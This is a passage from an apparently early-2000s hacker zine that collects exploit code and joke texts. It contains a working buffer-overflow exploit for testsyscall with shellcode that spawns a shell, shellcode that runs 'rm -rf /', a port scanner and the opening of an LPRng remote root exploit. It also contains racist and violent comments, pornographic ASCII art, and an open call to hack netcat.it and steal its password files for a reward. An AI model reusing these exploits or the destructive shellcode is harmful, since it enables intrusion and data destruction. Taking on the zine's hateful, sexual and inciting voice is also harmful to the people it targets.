  5270. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5271. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5272. Bad system call (core dumped)
  5273. # gdb ./testsyscall ./testsyscall.core
  5274. GNU gdb 4.17
  5275. #0  0x40019c11 in ?? () from /usr/lib/libc.so.12.40
  5276. (gdb) bt
  5277. #0  0x40019c11 in ?? () from /usr/lib/libc.so.12.40
  5278. #1  0x41414141 in ?? ()
  5279. Cannot access memory at address 0x41414141.
  5280. (gdb)
  5281.  
  5282. As you can see, we've completely over written the Program Counter.
  5283.  
  5284.         Here is where the vulnerability is encountered
  5285.  
  5286.  *      $NetBSD: testsyscall.c,v 1.2 1997/10/13 11:20:53 lukem Exp $
  5287.  */
  5288. #include <stdio.h>
  5289.  
  5290. main()
  5291. {
  5292.         char    buf[ 80];
  5293.         int     err = 0;
  5294.  
  5295.         printf( "Table offset as reported by modstat: ");
  5296.         if( gets( buf) == NULL) {
  5297.                 printf( "[ABORT]\n");
  5298.                 exit( 1);
  5299.         }
  5300.  
  5301. For an in-depth analysis of gets(), look below. Notice how gets() is being
  5302. used very unsafe. I can't believe developers at OpenBSD, NetBSD, FreeBSD,
  5303. would allow such an idiotic programming error. Maybe Team Hackphreak
  5304. could participate in your ports auditing mission ;).
  5305.  
  5306. Problem description of gets():
  5307. ------------------------------
  5308.         gets() is very unsafe. gets() does not check the length of the input
  5309. against the internal buffer memory area. A secure programmer should use
  5310. fgets(), or fgetc() in a loop().
  5311.  
  5312. Impact:
  5313. -------
  5314.         A malicious user may gain access to a xBSD server remotly, if
  5315. testsyscall is running off inetd.
  5316.         A malicious user may crash the testsyscall service if running off
  5317. of inetd.
  5318.         A malicious user may gain higher level access than which he or she
  5319. has had before by exploiting testsyscall.
  5320.         Please do not assume a 'malicious user' means someone trusted on
  5321. the system. This testsyscall vulnerabilty can be used in the
  5322. 'hacker-walk-the-chain' penetration method.
  5323.         Also, one may crash the server, via giving the input a non-number,
  5324. which will cause a system call crash core dump.
  5325.  
  5326. Workaround:
  5327. -----------
  5328.         Install the patch below.
  5329.  
  5330. # cat hp_testsyscall_patch.diff
  5331. 49c49
  5332. <       if( gets( buf) == NULL) {
  5333. ---
  5334. >       if( fgets( buf, 50, stdin) == NULL) {
  5335.  
  5336. Exploit:
  5337. --------
  5338.         In such a short notice, shinex put this together. We thank him
  5339. from team hackphreak.
  5340.  
  5341. // testsyscall.c exploit by shinex
  5342. // made for rlox
  5343.  
  5344. #include <stdio.h>
  5345. #include <stdlib.h>
  5346. #include <unistd.h>
  5347.  
  5348. char shellcode[] =
  5349.   "\xeb\x23"
  5350.    "\x5e"
  5351.    "\x8d\x1e"
  5352.    "\x89\x5e\x0b"
  5353.    "\x31\xd2"
  5354.    "\x89\x56\x07"
  5355.    "\x89\x56\x0f"
  5356.    "\x89\x56\x14"
  5357.    "\x88\x56\x19"
  5358.    "\x31\xc0"
  5359.    "\xb0\x3b"
  5360.    "\x8d\x4e\x0b"
  5361.    "\x89\xca"
  5362.    "\x52"
  5363.    "\x51"
  5364.    "\x53"
  5365.    "\x50"
  5366.    "\xeb\x18"
  5367.    "\xe8\xd8\xff\xff\xff"
  5368.    "/bin/sh"
  5369.    "\x01\x01\x01\x01"
  5370.    "\x02\x02\x02\x02"
  5371.   "\x03\x03\x03\x03"
  5372.   "\x9a\x04\x04\x04\x04\x07\x04";
  5373.  
  5374. unsigned long get_esp(void)
  5375. {
  5376.  __asm__("movl %esp, %eax");
  5377. }
  5378.  
  5379. void main(int argc, char **argv)
  5380. {
  5381. FILE * pi;
  5382.  char *buf,*p;
  5383.  unsigned long *adr;
  5384.  
  5385.  int i,off;
  5386.  
  5387. if(argc < 2)
  5388. {
  5389. puts("usage, testsyscallexploit \"path_to_testsyscall\" \"optional_offset\"");
  5390. exit(-1);
  5391. }
  5392.  
  5393.         if (argc>2)
  5394.                 off=atoi(argv[2]);
  5395.         else off=4;
  5396. printf("using buffer delta:%d\n",off);
  5397.  
  5398.  if((p = buf = malloc(2268+28+off))==NULL)
  5399.   exit(-1);
  5400.  
  5401.  memset(p, 0x90, 2268+off);
  5402.  p += 2268+off - strlen(shellcode);
  5403.  
  5404.  for(i = 0; i < strlen(shellcode); i++)
  5405.   *p++ = shellcode[i];
  5406.  adr = (long *)p;
  5407.  for(i = 0; i < 7; i++)
  5408.   *adr++ = get_esp();
  5409.  p = (char *)adr;
  5410.  *p = 0;
  5411.  
  5412. pi = popen(argv[1], "w");
  5413.  
  5414. if(pi == NULL) {
  5415. perror("popen");
  5416. exit(-1);
  5417. }
  5418.  
  5419. *p = '\n';
  5420.  
  5421. *(p+1) = '\0';
  5422.  
  5423. if(fwrite(buf, strlen(buf), 1, pi)<0)
  5424. {
  5425. perror("fwrite");
  5426. exit(-1);
  5427. }
  5428.  
  5429.  //execl(argv[1], argv[1],buf, NULL);
  5430. }
  5431.  
  5432. Source:
  5433. -------
  5434.         To examine and learn
  5435.  
  5436. /*
  5437.  * testsyscall.c
  5438.  *
  5439.  * Test program to call the sample loaded system call.
  5440.  *
  5441.  * 23 May 93    Terry Lambert           Original
  5442.  *
  5443.  *
  5444.  * Copyright (c) 1993 Terrence R. Lambert.
  5445.  * All rights reserved.
  5446.  *
  5447.  * Redistribution and use in source and binary forms, with or without
  5448.  * modification, are permitted provided that the following conditions
  5449.  * are met:
  5450.  * 1. Redistributions of source code must retain the above copyright
  5451.  *    notice, this list of conditions and the following disclaimer.
  5452.  * 2. Redistributions in binary form must reproduce the above copyright
  5453.  *    notice, this list of conditions and the following disclaimer in the
  5454.  *    documentation and/or other materials provided with the distribution.
  5455.  * 3. All advertising materials mentioning features or use of this software
  5456.  *    must display the following acknowledgement:
  5457.  *      This product includes software developed by Terrence R. Lambert.
  5458.  * 4. The name Terrence R. Lambert may not be used to endorse or promote
  5459.  *    products derived from this software without specific prior written
  5460.  *    permission.
  5461.  *
  5462.  * THIS SOFTWARE IS PROVIDED BY TERRENCE R. LAMBERT ``AS IS'' AND ANY
  5463.  * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  5464.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  5465.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE TERRENCE R. LAMBERT BE LIABLE
  5466.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  5467.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  5468.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  5469.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  5470.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  5471.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  5472.  * SUCH DAMAGE.
  5473.  *
  5474.  *      $Id: testsyscall.c,v 1.1.1.1 1995/10/18 08:44:21 deraadt Exp $
  5475.  */
  5476. #include <stdio.h>
  5477.  
  5478. main()
  5479. {
  5480.         char    buf[ 80];
  5481.         int     err = 0;
  5482.  
  5483.         printf( "Table offset as reported by modstat: ");
  5484.         if( gets( buf) == NULL) {
  5485.                 printf( "[ABORT]\n");
  5486.                 exit( 1);
  5487.         }
  5488.  
  5489.         if( err = syscall( atoi( buf) /* no arguments*/))
  5490.                 perror( "syscall");
  5491.  
  5492.         exit( err);
  5493. }
  5494.  
  5495. /*
  5496.  * EOF -- This file has not been truncated
  5497.  */
  5498.  
  5499. GREETS:
  5500. -------
  5501.         team hackphreak, EHAP, condemnation, lore, shinex, rhino9, and of
  5502. course, packetstorm
  5503.  
  5504. TO HELL WITH YOU'S:
  5505. -------------------
  5506.         Paedophiles, rascists, all of #kkk on undernet, all the people who
  5507. disturb my channel, BoW, frys / prophet
  5508. [END_CUT] testsyscall.adv
  5509.  
  5510. [END_DIR] testsyscall
  5511.  
  5512.  
  5513.        ____________________________________
  5514.     .-'                                    `-.
  5515. [11]|            rm -rf / sh3llk0dez         |[11]
  5516. [11]|                   by:                  |[11]
  5517. [11]|           str8 phr0m the s3w3r!        |[11]
  5518.     `-.____________________________________.-'
  5519.  
  5520.     th3ze k0dez r br0ught to uz by 0ur de4l p4l str8 phr0m
  5521.     th3 s3w3r. uze w1th cuati0n. put th3m in all y0r expl0itz 
  5522.     and d1str0 W0RLDW1DE. 0k n0w g00d luq rm'n b0x3z.
  5523.  
  5524. [BEGIN_DIR] misc
  5525. [CUT_HERE] rmsh3llk0dez
  5526. // ~el8 sh3llk0de: t3st3d 0n linux 2.2.s0meth1ng
  5527. // sh0uld b ez t0 p0rt t0 y0r f4v0r1te arch1tecture lyke
  5528. // dre4msc4pe or s0me shyt. uz3 w1th c4re th1s w1ll rm th3
  5529. // b0x. iph u re4lly w4nn4 g0 h4rdk0re, exec sh w1th rm -rf
  5530. // and put 1t in the b4ckgr0und. th1s is l3ft t0 the av1d
  5531. // re4der. n0te, uze a n1ce ebp or wh4tevr th4t 1z.
  5532. unsigned char ev1lrmb0xk0d3[] =
  5533. "\xeb\x44"                 // ~el8 taken 0ver -- 2001
  5534. "FAREWELL_MOTHERFUCKER!:>" // f1ght the p0wer -- 2001
  5535. "\x99"                     // k1ll whitey -- 2001
  5536. "\x89\xd0"                 // bl4q p0wer -- 2001
  5537. "\xb0\x17"                 // h4il w1po -- 2001
  5538. "\x89\xd3"                 // r1p k0dez -- 2001
  5539. "\xcd\x80"                 // terr0riz old l4diez X'n the stre4t -- 2001
  5540. "\x5b"                     // g3t l4id -- 2001
  5541. "\xb0\x0b"                 // rm s0me mfq'n b0xez -- 2001
  5542. "\x88\x53\x07"             // KILL THE BOX
  5543. "\x88\x53\x0b"             // MAKE IT DEAD
  5544. "\x88\x53\x0d"             // STRANGLE THE BOX
  5545. "\x89\x5d\xf0"             // MAKE IT DEAD
  5546. "\x8d\x4b\x08"             // KILL THE ADMIN
  5547. "\x89\x4d\xf4"             // MAKE HIM DEAD
  5548. "\x8d\x4b\x0c"             // RM THE BOX
  5549. "\x89\x4d\xf8"             // MAKE IT CRY
  5550. "\x89\x55\xfc"             // BEAT THE ADMIN
  5551. "\x8d\x4d\xf0"             // MAKE HIM HIDE
  5552. "\xcd\x80"                 // SAY FAREWALL
  5553. "\xe8\xcf\xff\xff\xff"     // NOW THE BOX HAZ DIED
  5554. "/bin/rmX-rfX/X"           // poem -- ~el8[2001]
  5555. ;
  5556. [END_CUT] rmsh3llk0dez
  5557. [END_DIR] misc
  5558.     
  5559.  
  5560.        ____________________________________
  5561.     .-'                                    `-.
  5562. [12]|                slowscan.c              |[12]
  5563. [12]|                   by:                  |[12]
  5564. [12]|                 hybrid                 |[12]
  5565.     `-.____________________________________.-'
  5566.  
  5567.     Coded for phrack55, yet not included.
  5568.  
  5569. [BEGIN_DIR] misc
  5570. [CUT_HERE] slowscan.c
  5571. /*
  5572.  * slowscan.c
  5573.  *
  5574.  * by hybrid [proof of concept code]
  5575.  */
  5576.  
  5577. #include <stdio.h>
  5578. #include <string.h>
  5579. #include <stdlib.h>
  5580. #include <sys/types.h>
  5581. #include <netinet/in.h>
  5582.  
  5583. int main(int argc, char * argv[])
  5584. {
  5585. struct sockaddr_in sin;
  5586. int fd,i,max=65535;
  5587.  
  5588.  
  5589. fd=socket(AF_INET,SOCK_STREAM,0);
  5590. if(fd<0)
  5591. puts("error"),exit(-1);
  5592.  
  5593. sin.sin_family=AF_INET;
  5594. sin.sin_addr.s_addr = inet_addr(argv[1]);
  5595.  
  5596. for(i=0;i<=max;i++)
  5597. {
  5598. sleep(atoi(argv[2])*1440);
  5599. sin.sin_port=htons(i);
  5600. if(connect(fd,(struct sockaddr *)&sin,sizeof(sin))<0)
  5601. continue;
  5602. else printf("port %i is open!\n", i);
  5603. }
  5604.  
  5605. close(fd);
  5606. return(0);
  5607. }
  5608. [END_CUT] slowscan.c
  5609. [END_DIR] misc
  5610.  
  5611.  
  5612.        ____________________________________
  5613.     .-'                                    `-.
  5614. [13]|                putpenis.c              |[13]
  5615. [13]|                   by:                  |[13]
  5616. [13]|               FUNNY__BUNNY             |[13]
  5617.     `-.____________________________________.-'
  5618.  
  5619.     This was coded while @ CCC camp:
  5620.  
  5621. [BEGIN_DIR] homosexual
  5622.  
  5623. [CUT_HERE] putpenis.c
  5624. #include <stdio.h>
  5625. #include <string.h>
  5626.  
  5627. void putpenis(char *str)
  5628. {
  5629.     fprintf(stderr, "\r%s", str);
  5630.     usleep(rand()%60000+30000);
  5631.     return;
  5632. }
  5633. int main(int argc, char **argv)
  5634. {
  5635.    printf("watch %s's ass get owned by %s!!\n",(argc>1)?argv[1]:"route",
  5636.           (argc>2)?argv[2]:"cripto");
  5637.  
  5638.   while(1)
  5639.   {
  5640.     putpenis("8====D (_O_)");
  5641.     putpenis(" 8====D(_O_)");
  5642.     putpenis("  8====D_O_)");
  5643.     putpenis("   8====DO_)");
  5644.     putpenis("    8====D_)");
  5645.     putpenis("     8====_)");
  5646.     putpenis("      8===_)");
  5647.     putpenis("     8====_)");
  5648.     putpenis("    8====D_)");
  5649.     putpenis("  8====D_O_)");
  5650.     putpenis(" 8====D(_O_)");
  5651.   }
  5652.   return 0;
  5653. }
  5654. [END_CUT] putpenis.c
  5655.  
  5656. [END_DIR] homosexual
  5657.  
  5658.  
  5659.        ____________________________________
  5660.     .-'                                    `-.
  5661. [14]|     THE UNIX VIRUS CHILDRENS MANUAL    |[14]
  5662. [14]|                   by:                  |[14]
  5663. [14]|                 silvio                 |[14]
  5664.     `-.____________________________________.-'
  5665.  
  5666. [BEGIN_DIR] misc
  5667. [CUT_HERE] virus.txt
  5668. THE UNIX VIRUS CHILDRENS MANUAL
  5669.  
  5670.         - Silvio Cesare <silvio@big.net.au>
  5671.  
  5672. CONTENTS
  5673. --------
  5674.  
  5675. IMPROVING THIS MANUAL
  5676. WHAT IS A VIRUS?
  5677. WHAT CAN A UNIX VIRUS DO?
  5678. WHAT CAN A WINDOWS VIRUS DO?
  5679. WHAT DO UNIX VIRUS'S LOOK LIKE?
  5680.  
  5681.  
  5682. IMPROVING THIS MANUAL
  5683. ---------------------
  5684.  
  5685. For any comments or suggestions (even just to say hi) please contact the author
  5686. Silvio Cesare, <silvio@big.net.au>.  This paper already has future plans to
  5687. include more parasite descriptions and more parasite teqniques. Plus, i plan
  5688. on writing a POP-UP book about virus's and how wonderful virus's are.
  5689.  
  5690.  
  5691. WHAT IS A VIRUS?
  5692. ----------------
  5693.  
  5694. A virus is code that infects program files, critical files, processes, ELF's,
  5695. and mission critical data. Here are some pictures to help you :)
  5696. (Parents: please take time to discuss the pictures, preferably to keep them
  5697.           from getting scared)
  5698.  
  5699. A WAREZ infector (The BoW virus):
  5700.  
  5701.                    _||||||||||||||||||||||||_
  5702.                   /                          \
  5703.                  /             \_/            \
  5704.                 |       \____     _____/       |
  5705.                 |       /  o /\  /\ o  \       |
  5706.                 |       \___/      \___/       |
  5707.                 |              /\              |
  5708.                 \    ______________________    /
  5709.                  \_  .____|   |  |   |____.  _/
  5710.                    \      |___|  |___|      /
  5711.                     \______________________/
  5712.                    _____|              |_____
  5713.                   /                          \
  5714.                  |                            |
  5715.                  |      /  __________  \      |
  5716.                  |\/\/\|   I LUV BOW!   |\/\/\|
  5717.                        |   ~~~~~~~~~~   |
  5718.                        |                |
  5719.                       <                  >
  5720.                       (  b0rn 2 1nf3ct!  )
  5721.                       \__________________/
  5722.  
  5723.         Notice, the very sharp hands, and very big head, which contains millions        and zillions of program code to infect your system and make it sick.
  5724.  
  5725. An ELF infector virus (Clifford The Big Red Virus):
  5726.  
  5727.     /-------------\
  5728.     |      ,      |
  5729.     |   O  ^  o   |
  5730.    [|      M      |]
  5731.     |      U      |
  5732.      \___________/
  5733.       | | | | | |
  5734.      / \ \ \ \ / \
  5735.    / \  |/ \ | \   \
  5736.    |   \|\ //   |    \
  5737.   / \  / \  \  /       \
  5738.  
  5739.         Notice it's U shaped mouth, which acts as a suction cup. Also, notice
  5740.         its many many tenticles! They are used to spread throughout your system
  5741.         very very quickly, and can cause it to instantly die! This is a naughty
  5742.         virus. One drawback of this virus, is it is:
  5743.                 1) Very hard to program
  5744.                 2) Has poor eye site (notice there are no pupils)
  5745.  
  5746. A windows virus (The BLOB!):
  5747.  
  5748.            _____________________________
  5749.           (                             )
  5750.           (                             )
  5751.           ( Memo to Sandy:              )
  5752.           (    Hey Sandy .............  )
  5753.           (                             )
  5754.           (!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)
  5755.           ( O o O o O o O o O o O o O o )
  5756.           ( o O o O o O o O o O o O o O )
  5757.           ( O o O O o o O o o O O o O o )
  5758.           ( \/\/ \/\/\/\/ \/\/ \/\/\/ \/)
  5759.           (              @              )
  5760.           ( /\ /\/\/\ /\/\/\/\ /\/\/\/\ )
  5761.           ( O o O o O o O o O o O o O o )
  5762.           ( o O o O o O o O o O o O o O )
  5763.           ( O o O O o o O o o O O o O o )
  5764.           (!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)
  5765.           (                             )
  5766.           ( Aol, no wonder it's #1      )
  5767.           ( Text file!                  )
  5768.           (_____________________________)
  5769.  
  5770.         This virus is very hard to detect. Notice how the nasty mean angry
  5771.         part of the virus is in the middle, while outside of the virus, it just
  5772.         looks like a regular file! This virus has many eyes, and viscious teeth!        It can trick Norton's, and so forth.
  5773.  
  5774. The gH virus (LamegHost):
  5775.  
  5776.               , ; ,   .-'"""'-.   , ; ,
  5777.               \\|/  .'         '.  \|//
  5778.                \-;-/      ..     \-;-/
  5779.                 // ;               ; \\
  5780.                //__; :.         .; ;__\\
  5781.               `-----\'.'-.....-'.'/-----'
  5782.                      '.'.-.-,_.'.'
  5783.                        '(  (..-'
  5784.                          '-'
  5785.  
  5786.         This virus turns your operating system into a flood network, to DoS
  5787.         people on irc, it also downloads rootshell.com and hack.co.za directly
  5788.         to your box, and then loads a backdoor into every daemon in inetd.
  5789.         Very naughty virus, it was used on whitehouse.gov.
  5790.  
  5791. That sums up the intro, on to WHAT CAN A UNIX VIRUS DO?
  5792.  
  5793.  
  5794. WHAT CAN A UNIX VIRUS DO?
  5795. --------------------
  5796.  
  5797. Virus's are very fascinating, their very existance is superior to that of the
  5798. mind controling human. A UNIX virus can do basically anything with the correct
  5799. privledges.
  5800.  
  5801.    ME                                               UNIX
  5802. o      o   <- [ Can i have ]                   01010101010100 -> [ Why yes ]
  5803.    _\         [ ROOT access]                   01010101010100    [ you may.]
  5804. .      .      [ please ?   ]                   01010101010101
  5805.  \____/                                        01010101010011
  5806.                                                01010110101010
  5807.  
  5808. Once you have the correct permissions, here's what you can do:
  5809.  
  5810. Infect many processes on the system:
  5811.                          _____
  5812.                        .'     '.
  5813.                       /  O   o  \
  5814.                      |           |
  5815.                      |  \     /  |
  5816.                       \  '---'  /
  5817.                        '._____.'
  5818.                   _____         _____
  5819.                 .'     '.     .'     '.
  5820.                /  O   o  \   /  o   O  \
  5821.               |           | |           |
  5822.               |  \     /  | |  \     /  |
  5823.                \  '---'  /   \  '---'  /
  5824.                 '._____.'     '._____.'
  5825.             _____         _____         _____
  5826.           .'     '.     .'     '.     .'     '.
  5827.          /  O   o  \   /  O   O  \   /  o   O  \
  5828.         |           | |           | |           |
  5829.         |  \     /  | |  \     /  | |  \     /  |
  5830.          \  '---'  /   \  '---'  /   \  '---'  /
  5831.           '._____.'     '._____.'     '._____.'
  5832.      _____         _____         _____         _____
  5833.    .'     '.     .'     '.     .'     '.     .'     '.
  5834.   /  o   o  \   /  o   O  \   /  O   o  \   /  o   o  \
  5835.  |           | |           | |           | |           |
  5836.  |  \     /  | |  \     /  | |  \     /  | |  \     /  |
  5837.   \  '---'  /   \  '---'  /   \  '---'  /   \  '---'  /
  5838.    '._____.'     '._____.'     '._____.'     '._____.'
  5839.  
  5840.         This shows how the virus's spread. Look at each ones eyes, they differ
  5841.         from the other. This is what we call maximum stealthism! It makes it
  5842.         hard for virus detectors to find the virus's.
  5843.  
  5844. Backdoor the systems:
  5845.  
  5846.     (telnet system 31337)            (*:backdoor      LISTEN)
  5847.        hacker                             system
  5848.         O                 ->     []   ->  |----|
  5849.         <                                 |  - |
  5850.         |\                                |____|
  5851.  
  5852.         A hacker (yourself) can gain access to a system, and run even more
  5853.         virus. Running many virus's is called a "parade" amongst us virus
  5854.         writers.
  5855.  
  5856. Destroy your system:
  5857.  
  5858.         $ ls
  5859.         fork():unable to fork new process
  5860.         THE SANDMAN VIRUS HAS YOUR WEAK SOUL
  5861.         THE SANDMAN VIRUS HAS YOUR WEAK SOUL
  5862.         THE SANDMAN VIRUS HAS YOUR WEAK SOUL
  5863.         THE SANDMAN VIRUS HAS YOUR WEAK SOUL
  5864.         THE SANDMAN VIRUS HAS YOUR WEAK SOUL
  5865.         THE SANDMAN VIRUS HAS YOUR WEAK SOUL
  5866.         Rewriting MBR...done
  5867.         Removing init...done
  5868.         Removing /usr/bin/printf..............done
  5869.         Rebooting!
  5870.  
  5871.         This virus hides, waiting, forever if it hasto, then, when all
  5872.         recources are used up, BAM!!!!!!!!!!!! IT DESTROYS YOUR SYSTEM.
  5873.  
  5874. Expose you to vile paraphanalia:
  5875.  
  5876.                   @@@
  5877.                  @. .@
  5878.                  @\=/@
  5879.                  .- -.
  5880.     o           /(.|.)\
  5881.     |           \ ).( /
  5882.     8======D~~  '( v )`
  5883.     |\            \|/
  5884.                   (|)
  5885.                   '-`
  5886.  
  5887.         This virus randomly prints pornographic ascii images to your console.
  5888.  
  5889.  
  5890. In conclusion, a unix virus can do anything to your system. Onto the next
  5891. section WHAT CAN A WINDOWS VIRUS DO?
  5892.  
  5893.  
  5894. WHAT CAN A WINDOWS VIRUS DO
  5895. ---------------------------
  5896.  
  5897. Windows95/98 VIRII are very different from UNIX VIRII (VIRII meaning VIRUS
  5898. plural). The most popular of Windows95/98 VIRII can be found at
  5899. www.virusexchange.com. Some examples of what Windows VIRII can do are:
  5900.  
  5901. Mess with financial software databses like the Divinci virus.
  5902.  
  5903. Delete all of your HTTP cookies.
  5904.  
  5905. Delete your system using the deltree command.
  5906.  
  5907. Run netbus or back orifice on your system, and make it impossible to remove.
  5908.  
  5909. Make copies of itself, go into stealth mode, and permutate ( increase
  5910. their existance ) themselves like rabbits onto your system.
  5911.  
  5912. Alter the memory of another process on your system.
  5913. ex: Altering notepad when writing critical notes to your friends in
  5914. elementary school.
  5915.  
  5916. Get all of the buddies on your buddy list and send them the trojan, this
  5917. happened with the famous internet worm by Robert Morris.
  5918.  
  5919. Turn your system into a WAREZ server.
  5920.  
  5921. Get credit card information for your system.
  5922.  
  5923. Change your bootup system image (to a pornagraphic one, you will likely get
  5924. grounded, happyhacker.org teaches you howto do this).
  5925.  
  5926. Change the shutdown system image (to a pornagraphic one, you will likely get
  5927. grounded, happyhacker.org teaches you howto do this).
  5928.  
  5929. Make really loud annoying sounds at night.
  5930.  
  5931. Ok, that is the end of this section, onto WHAT DO UNIX VIRUS'S LOOK LIKE?
  5932. Parents: Review this material with your children, three times through.
  5933.  
  5934.  
  5935. WHAT DO UNIX VIRUS'S LOOK LIKE?
  5936. -------------------------------
  5937.  
  5938. Unix virii are hard to spot, this section gives you some info on howto spot
  5939. them and write them for fun.
  5940.  
  5941. Smiley the Virus:
  5942.  
  5943.                          _____
  5944.                        .'     '.
  5945.                       /  O   o  \
  5946.                      |           |
  5947.                      |  \     /  |
  5948.                       \  '---'  /
  5949.                        '._____.'
  5950.  
  5951.  
  5952. Dalnet, the Virus:
  5953.  
  5954.                   @@@
  5955.                  @. .@
  5956.                  @\=/@
  5957.                  .- -.
  5958.     o           /(.|.)\
  5959.     |           \ ).( /
  5960.     8======D~~  '( v )`
  5961.     |\            \|/
  5962.                   (|)
  5963.                   '-`
  5964.  
  5965. (NOTE: This is how DALNET got its name)
  5966.  
  5967.  
  5968. The gH virus (LamegHost):
  5969.  
  5970.               , ; ,   .-'"""'-.   , ; ,
  5971.               \\|/  .'         '.  \|//
  5972.                \-;-/      ..     \-;-/
  5973.                 // ;               ; \\
  5974.                //__; :.         .; ;__\\
  5975.               `-----\'.'-.....-'.'/-----'
  5976.                      '.'.-.-,_.'.'
  5977.                        '(  (..-'
  5978.                          '-'
  5979.  
  5980. (NOTE: Used in the incredible whitehouse.gov defacement)
  5981.  
  5982.  
  5983. An ELF infector virus (Clifford The Big Red Virus):
  5984.  
  5985.     /-------------\
  5986.     |      ,      |
  5987.     |   O  ^  o   |
  5988.    [|      M      |]
  5989.     |      U      |
  5990.      \___________/
  5991.       | | | | | |
  5992.      / \ \ \ \ / \
  5993.    / \  |/ \ | \   \
  5994.    |   \|\ //   |    \
  5995.   / \  / \  \  /       \
  5996.  
  5997.  
  5998. A WAREZ infector (The BoW virus):
  5999.  
  6000.                    _||||||||||||||||||||||||_
  6001.                   /                          \
  6002.                  /             \_/            \
  6003.                 |       \____     _____/       |
  6004.                 |       /  o /\  /\ o  \       |
  6005.                 |       \___/      \___/       |
  6006.                 |              /\              |
  6007.                 \    ______________________    /
  6008.                  \_  .____|   |  |   |____.  _/
  6009.                    \      |___|  |___|      /
  6010.                     \______________________/
  6011.                    _____|              |_____
  6012.                   /                          \
  6013.                  |                            |
  6014.                  |      /  __________  \      |
  6015.                  |\/\/\|   I LUV BOW!   |\/\/\|
  6016.                        |   ~~~~~~~~~~   |
  6017.                        |                |
  6018.                       <                  >
  6019.                       (  b0rn 2 1nf3ct!  )
  6020.                       \__________________/
  6021.  
  6022.  
  6023. Enourmous Penis Virus (Aka, Big John):
  6024.  
  6025.         8===================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================D
  6026.  
  6027. (NOTE: This virus fills up your file system, quickly)
  6028.  
  6029.  
  6030. The Million Man March (Aka Lots`o`penis):
  6031.  
  6032.  8========D~~~ 8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~8========D~~~ 8========D~~~ 8========D~~~ 8========D~~~ 8========D~~~   8========D~~~ 8========D~~~  8========D~~~ 8========D~~~ 8========D~~~ 8========D~~~  8========D~~~8========D~~~ 8========D~~~  8========D~~~   8========D~~~  8========D~~~  8========D~~~ 8========D~~~      8========D~~~
  6033.  
  6034. (NOTE: This virus fills up NFS nodes)
  6035.  
  6036. See you next time! And remember, VIRII ARE FUN! :-D
  6037. [END_CUT] virus.txt
  6038. [END_DIR] misc
  6039.  
  6040.  
  6041.        ____________________________________
  6042.     .-'                                    `-.
  6043. [15]|            SUPER K0DE R1PP1NG          |[15]
  6044. [15]|                   by:                  |[15]
  6045. [15]|                  ~el8                  |[15]
  6046.     `-.____________________________________.-'
  6047.  
  6048.     the f1rst pers0n t0 rm www.netcat.it and n0tify ~el8 0f
  6049.     the rm1ng w1nz some pr1zes. rec3ntly www.netcat.it r1pped
  6050.     an expl0it and p0st3d f0r themselvez 0n vuln-dev and 0n their
  6051.     g4y asS s1te. h3r3 @ ~el8, we r c0nduct1ng a g4me. a c0nt3st iph
  6052.     y0u w1ll. f1rst pers0n t0 rm netcat.it and n0tify uz via em4il
  6053.     w1nz 2 0d4y k0dez. we w0uld lyke s0me l0gz 0f the b0x etc, th1s
  6054.     w1ll b put in the n3xt ~el8. l0gz c0uld b lyke, passwd f1le,
  6055.     /etc all arch1ved up etcetc. the k0untd0wn beg1nz as s00n as ~el8
  6056.     h1tz the stre4tz. s0 hurry the fuk up, w4r3z aw4itz y0u. als0, 
  6057.     th3r3 iz n0 l1mit 0n h0w m4ny timez netcat.it iz rm'd. we als0
  6058.     w1ll b accept1ng 0ther b0xez belonging t0 netcat.it being rm'd, but
  6059.     th1s w1ll result in 1 0d4y k0dez, n0t 2. h4ve phun, and l3t the g4ymez
  6060.     beg1n.
  6061.  
  6062. [BEGIN_DIR] ripped_k0dez
  6063. [CUT_HERE] rm_netcat.it.c
  6064. // bl4t4ntly r1pped fr0m an0ther expl0it
  6065. /*
  6066.  *
  6067.  * www.netcat.it Presents: LPRng/Linux remote root lpd exploit.
  6068.  *
  6069.  * NetCat.it - admin@netcat.it
  6070.  *
  6071.  * Please Sysadmin Patch your Box!
  6072.  * Please RedHat.com, release a patch!
  6073.  *
  6074.  * Run: ./SEClpd victim brute -t type
  6075.  * Try first ./SEClpd victim -t 0 then try the brute.
  6076.  *
  6077.  * This exploit can be download from www.netcat.it
  6078.  *
  6079.  */
  6080.  
  6081.  
  6082. #include <stdio.h>
  6083. #include <stdlib.h>
  6084. #include <string.h>
  6085. #include <unistd.h>
  6086. #include <sys/stat.h>
  6087. #include <sys/types.h>
  6088. #include <fcntl.h>
  6089. #include <netinet/in.h>
  6090. #include <arpa/inet.h>
  6091. #include <netdb.h>
  6092. #include <netinet/in.h>
  6093. #include <arpa/inet.h>
  6094.  
  6095.  
  6096. #define ADDRESS_BUFFER_SIZE   32+4
  6097. #define APPEND_BUFFER_SIZE    52
  6098. #define FORMAT_LENGTH         512-8
  6099. #define NOPCOUNT              200
  6100. #define SHELLCODE_COUNT       1030
  6101. #define DELAY                 50000 /* usecs */
  6102. #define OFFSET_LIMIT          5000
  6103.  
  6104. char shellcode[] =
  6105.  
  6106.   "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
